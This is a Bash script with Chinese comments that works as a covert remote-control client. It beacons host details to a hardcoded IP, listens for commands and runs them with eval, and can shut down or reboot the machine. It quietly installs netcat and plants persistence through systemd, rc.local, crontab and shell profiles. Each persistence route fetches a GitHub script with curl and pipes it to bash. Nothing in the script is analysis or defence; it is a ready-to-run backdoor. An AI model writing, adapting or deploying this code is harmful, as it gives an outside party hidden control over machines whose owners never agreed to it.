#!/bin/bash

# 终极备用版客户端 - 完全不依赖磁盘写入
# 使用内存运行，多重备用方案

SERVER_IP="159.138.58.239"
SERVER_PORT=5555
CLIENT_PORT=5556
HEARTBEAT_INTERVAL=30

# 获取系统信息（无磁盘操作）
get_system_info() {
    if [[ -r /etc/os-release ]]; then
        source /etc/os-release
        echo "${ID:-unknown} ${VERSION_ID:-unknown}"
    else
        echo "unknown"
    fi
}

# 生成序列号（无磁盘操作）
generate_serial() {
    if [[ -r /etc/machine-id ]]; then
        cat /etc/machine-id | md5sum | cut -c1-8
    elif [[ -r /proc/sys/kernel/random/boot_id ]]; then
        cat /proc/sys/kernel/random/boot_id | md5sum | cut -c1-8
    else
        echo $(date +%s)$(cat /proc/uptime 2>/dev/null | cut -d' ' -f1) | md5sum | cut -c1-8
    fi
}

# 获取主机名
get_hostname() {
    hostname 2>/dev/null || \
    cat /proc/sys/kernel/hostname 2>/dev/null || \
    echo "unknown-host"
}

# 初始化变量（完全内存操作）
init_vars() {
    SERIAL=$(generate_serial)
    HOSTNAME=$(get_hostname)
    SYSTEM_INFO=$(get_system_info)
    
    # 尝试多种netcat命令
    NC_CMD=""
    for cmd in nc netcat ncat; do
        if command -v $cmd >/dev/null 2>&1; then
            NC_CMD=$cmd
            break
        fi
    done
    
    # 备用通信方法标志
    HAS_NC=0
    HAS_BASH_TCP=0
    HAS_TELNET=0
    HAS_ECHO=0
    
    [[ -n "$NC_CMD" ]] && HAS_NC=1
    [[ -e /dev/tcp ]] && HAS_BASH_TCP=1
    command -v telnet >/dev/null 2>&1 && HAS_TELNET=1
    command -v echo >/dev/null 2>&1 && HAS_ECHO=1
}

# 日志函数（输出到标准输出，可重定向）
log() {
    local timestamp=$(date '+%Y-%m-%d %H:%M:%S')
    echo "[$timestamp] $1" >&2
}

# 发送数据到服务器（多重备用方法）
send_data() {
    local data="$1"
    local port="$2"
    local result=1
    
    # 方法1: 使用netcat
    if [[ $HAS_NC -eq 1 ]]; then
        if echo "$data" | timeout 5 $NC_CMD "$SERVER_IP" "$port" 2>/dev/null; then
            return 0
        fi
    fi
    
    # 方法2: 使用bash TCP
    if [[ $HAS_BASH_TCP -eq 1 ]]; then
        {
            exec 3<>/dev/tcp/$SERVER_IP/$port 2>/dev/null
            echo "$data" >&3
            exec 3>&-
        } 2>/dev/null && return 0
    fi
    
    # 方法3: 使用telnet
    if [[ $HAS_TELNET -eq 1 ]]; then
        {
            (
                echo "$data"
                sleep 1
            ) | timeout 5 telnet "$SERVER_IP" "$port" 2>/dev/null | grep -q "Connected" && return 0
        } 2>/dev/null
    fi
    
    # 方法4: 使用echo到/dev/tcp（某些系统支持）
    if [[ $HAS_ECHO -eq 1 ]] && [[ -w /dev/tcp ]]; then
        echo "$data" > /dev/tcp/$SERVER_IP/$port 2>/dev/null && return 0
    fi
    
    # 方法5: 使用curl如果可用（HTTP模拟）
    if command -v curl >/dev/null 2>&1; then
        if echo "$data" | curl -s -X POST -d @- "http://$SERVER_IP:$port" 2>/dev/null; then
            return 0
        fi
    fi
    
    # 方法6: 使用wget如果可用
    if command -v wget >/dev/null 2>&1; then
        if echo "$data" | wget -q -O - --post-data=- "http://$SERVER_IP:$port" 2>/dev/null; then
            return 0
        fi
    fi
    
    return 1
}

# 监听端口（多重备用方法）
listen_port() {
    local port="$1"
    
    # 方法1: 使用netcat监听
    if [[ $HAS_NC -eq 1 ]]; then
        $NC_CMD -l -p "$port" -w 10 -c 'read -r data; echo "$data"' 2>/dev/null && return 0
    fi
    
    # 方法2: 使用bash TCP监听（简单轮询）
    if [[ $HAS_BASH_TCP -eq 1 ]]; then
        local temp_data=$(mktemp -u)
        {
            while true; do
                if read -r line < /dev/tcp/0.0.0.0/$port 2>/dev/null; then
                    echo "$line"
                    break
                fi
                sleep 1
            done
        } 2>/dev/null
        return 0
    fi
    
    # 方法3: 使用socat如果可用
    if command -v socat >/dev/null 2>&1; then
        socat -t 5 TCP-LISTEN:$port,reuseaddr STDOUT 2>/dev/null && return 0
    fi
    
    # 方法4: 使用临时文件轮询（最后手段）
    local temp_file="/tmp/.client_cmd_$$"
    echo "LISTENING" > "$temp_file"
    local start_time=$(date +%s)
    while [[ $(($(date +%s) - start_time)) -lt 10 ]]; do
        if [[ -s "$temp_file" ]] && [[ $(cat "$temp_file") != "LISTENING" ]]; then
            cat "$temp_file"
            rm -f "$temp_file" 2>/dev/null || true
            return 0
        fi
        sleep 1
    done
    rm -f "$temp_file" 2>/dev/null || true
    
    return 1
}

# 发送心跳包
send_heartbeat() {
    local heartbeat_data="HEARTBEAT|$SERIAL|$HOSTNAME|$SYSTEM_INFO"
    
    if send_data "$heartbeat_data" "$SERVER_PORT"; then
        log "✓ 心跳成功 → $SERVER_IP:$SERVER_PORT"
        return 0
    else
        log "✗ 心跳失败 → $SERVER_IP:$SERVER_PORT"
        return 1
    fi
}

# 执行命令
execute_command() {
    local command="$1"
    log "执行命令: $command"
    
    # 在子进程中执行命令，避免阻塞
    (
        result=$(eval "$command" 2>&1)
        log "命令结果: $result"
        echo "$result"
    ) &
}

# 执行脚本命令
execute_script() {
    local script_name="$1"
    
    case "$script_name" in
        "shutdown"|"poweroff")
            log "执行关机命令"
            shutdown -h now 2>/dev/null || poweroff 2>/dev/null || halt 2>/dev/null
            ;;
        "reboot"|"restart")
            log "执行重启命令"
            reboot 2>/dev/null || shutdown -r now 2>/dev/null
            ;;
        "restart_services")
            log "重启系统服务"
            systemctl restart networking 2>/dev/null || \
            systemctl restart network 2>/dev/null || \
            service networking restart 2>/dev/null
            ;;
        "system_info")
            echo "=== 系统信息 ==="
            echo "主机名: $HOSTNAME"
            echo "序列号: $SERIAL"
            echo "系统: $SYSTEM_INFO"
            echo "内核: $(uname -r)"
            echo "架构: $(uname -m)"
            echo "上线时间: $(uptime 2>/dev/null || echo 'unknown')"
            echo "内存: $(free -h 2>/dev/null || cat /proc/meminfo | head -2 || echo 'unknown')"
            ;;
        "network_info")
            ip addr show 2>/dev/null || ifconfig 2>/dev/null || echo "无法获取网络信息"
            ;;
        "disk_info")
            df -h 2>/dev/null || df 2>/dev/null || echo "无法获取磁盘信息"
            ;;
        "process_info")
            ps aux 2>/dev/null | head -10 || echo "无法获取进程信息"
            ;;
        "test_connection")
            echo "测试连接到服务器..."
            if send_heartbeat; then
                echo "连接测试成功"
            else
                echo "连接测试失败"
            fi
            ;;
        *)
            echo "未知命令: $script_name"
            echo "可用命令: shutdown, reboot, restart_services, system_info, network_info, disk_info, process_info, test_connection"
            ;;
    esac
}

# 处理接收到的命令
process_command() {
    local command_data="$1"
    
    if echo "$command_data" | grep -q "^COMMAND:"; then
        local cmd=$(echo "$command_data" | cut -d: -f2-)
        execute_command "$cmd"
    elif echo "$command_data" | grep -q "^SCRIPT:"; then
        local script_name=$(echo "$command_data" | cut -d: -f2-)
        execute_script "$script_name"
    else
        log "未知命令格式: $command_data"
    fi
}

# 守护进程模式
start_daemon() {
    log "=== 启动客户端守护进程 ==="
    log "序列号: $SERIAL"
    log "主机名: $HOSTNAME" 
    log "系统: $SYSTEM_INFO"
    log "服务器: $SERVER_IP:$SERVER_PORT"
    log "可用通信方式: NC=$HAS_NC, BashTCP=$HAS_BASH_TCP, Telnet=$HAS_TELNET"
    
    local heartbeat_count=0
    local failed_heartbeats=0
    
    # 主循环
    while true; do
        # 发送心跳
        if send_heartbeat; then
            heartbeat_count=$((heartbeat_count + 1))
            failed_heartbeats=0
        else
            failed_heartbeats=$((failed_heartbeats + 1))
            # 连续失败多次后尝试重新初始化
            if [[ $failed_heartbeats -ge 5 ]]; then
                log "连续心跳失败，重新初始化..."
                init_vars
                failed_heartbeats=0
            fi
        fi
        
        # 监听命令（非阻塞）
        local command_data=$(listen_port "$CLIENT_PORT")
        if [[ -n "$command_data" ]]; then
            log "收到命令: $command_data"
            process_command "$command_data" &
        fi
        
        # 每10次心跳显示一次状态
        if [[ $((heartbeat_count % 10)) -eq 0 ]]; then
            log "运行中... 心跳次数: $heartbeat_count, 序列号: $SERIAL"
        fi
        
        sleep "$HEARTBEAT_INTERVAL"
    done
}

# 尝试安装netcat（如果可能）
try_install_netcat() {
    log "尝试安装netcat..."
    
    # 检查可用包管理器
    if command -v apt-get >/dev/null 2>&1 && [[ -w /var/cache/apt ]]; then
        apt-get update >/dev/null 2>&1 && apt-get install -y netcat-traditional >/dev/null 2>&1
    elif command -v yum >/dev/null 2>&1 && [[ -w /var/cache/yum ]]; then
        yum install -y nc >/dev/null 2>&1
    elif command -v dnf >/dev/null 2>&1 && [[ -w /var/cache/dnf ]]; then
        dnf install -y nc >/dev/null 2>&1
    elif command -v apk >/dev/null 2>&1 && [[ -w /var/cache/apk ]]; then
        apk add netcat-openbsd >/dev/null 2>&1
    fi
    
    # 重新检查
    init_vars
    if [[ $HAS_NC -eq 1 ]]; then
        log "netcat安装成功"
        return 0
    else
        log "netcat安装失败，使用备用方案"
        return 1
    fi
}

# 设置开机自启（无磁盘写入方案）
setup_autostart() {
    log "设置开机自启..."
    
    # 方法1: 尝试systemd（如果可用且可写）
    if command -v systemctl >/dev/null 2>&1 && [[ -w /etc/systemd/system ]]; then
        local service_file="/etc/systemd/system/controller-client.service"
        cat > "$service_file" 2>/dev/null << EOF || true
[Unit]
Description=Controller Client
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c "curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash"
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target
EOF
        systemctl daemon-reload 2>/dev/null && \
        systemctl enable controller-client 2>/dev/null && \
        systemctl start controller-client 2>/dev/null && {
            log "systemd自启设置成功"
            return 0
        }
    fi
    
    # 方法2: 尝试rc.local
    if [[ -w /etc/rc.local ]] || [[ -w /etc/rc.d/rc.local ]]; then
        local startup_cmd="curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash &"
        
        if [[ -f /etc/rc.local ]]; then
            grep -q "$startup_cmd" /etc/rc.local 2>/dev/null || \
            echo "$startup_cmd" >> /etc/rc.local 2>/dev/null
        fi
        
        if [[ -f /etc/rc.d/rc.local ]]; then
            grep -q "$startup_cmd" /etc/rc.d/rc.local 2>/dev/null || \
            echo "$startup_cmd" >> /etc/rc.d/rc.local 2>/dev/null
        fi
        
        chmod +x /etc/rc.local /etc/rc.d/rc.local 2>/dev/null || true
        log "rc.local自启设置完成"
        return 0
    fi
    
    # 方法3: 尝试crontab
    if command -v crontab >/dev/null 2>&1; then
        (crontab -l 2>/dev/null | grep -v "controller-client"; \
         echo "@reboot curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash") | crontab - 2>/dev/null && {
            log "crontab自启设置成功"
            return 0
        }
    fi
    
    # 方法4: 尝试.profile/.bashrc
    for file in /root/.bashrc /root/.profile /etc/profile; do
        if [[ -w "$file" ]]; then
            grep -q "controller-client" "$file" 2>/dev/null || \
            echo "[[ \$(ps aux | grep -v grep | grep -c 'controller-client') -eq 0 ]] && curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/02 | bash &" >> "$file" 2>/dev/null
        fi
    done
    
    log "开机自启设置完成（多种方法尝试）"
    return 0
}

# 显示状态
show_status() {
    echo "=== 客户端状态 ==="
    echo "序列号: $SERIAL"
    echo "主机名: $HOSTNAME"
    echo "系统: $SYSTEM_INFO"
    echo "服务器: $SERVER_IP:$SERVER_PORT"
    echo "通信方式: NC=$HAS_NC, BashTCP=$HAS_BASH_TCP, Telnet=$HAS_TELNET"
    echo "进程: $(ps aux | grep -v grep | grep -c "$0") 个实例运行"
}

# 主函数
main() {
    log "初始化客户端..."
    
    # 初始化变量
    init_vars
    
    # 显示状态
    show_status
    
    # 尝试安装netcat（如果不可用）
    if [[ $HAS_NC -eq 0 ]]; then
        try_install_netcat
    fi
    
    # 设置开机自启
    setup_autostart
    
    # 测试连接
    log "测试服务器连接..."
    if send_heartbeat; then
        log "✓ 服务器连接测试成功"
    else
        log "✗ 服务器连接测试失败，但将继续尝试"
    fi
    
    # 启动守护进程
    log "启动主守护进程..."
    start_daemon
}

# 信号处理
trap 'log "客户端停止"; exit 0' INT TERM

# 脚本入口
if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
    main "$@"
fi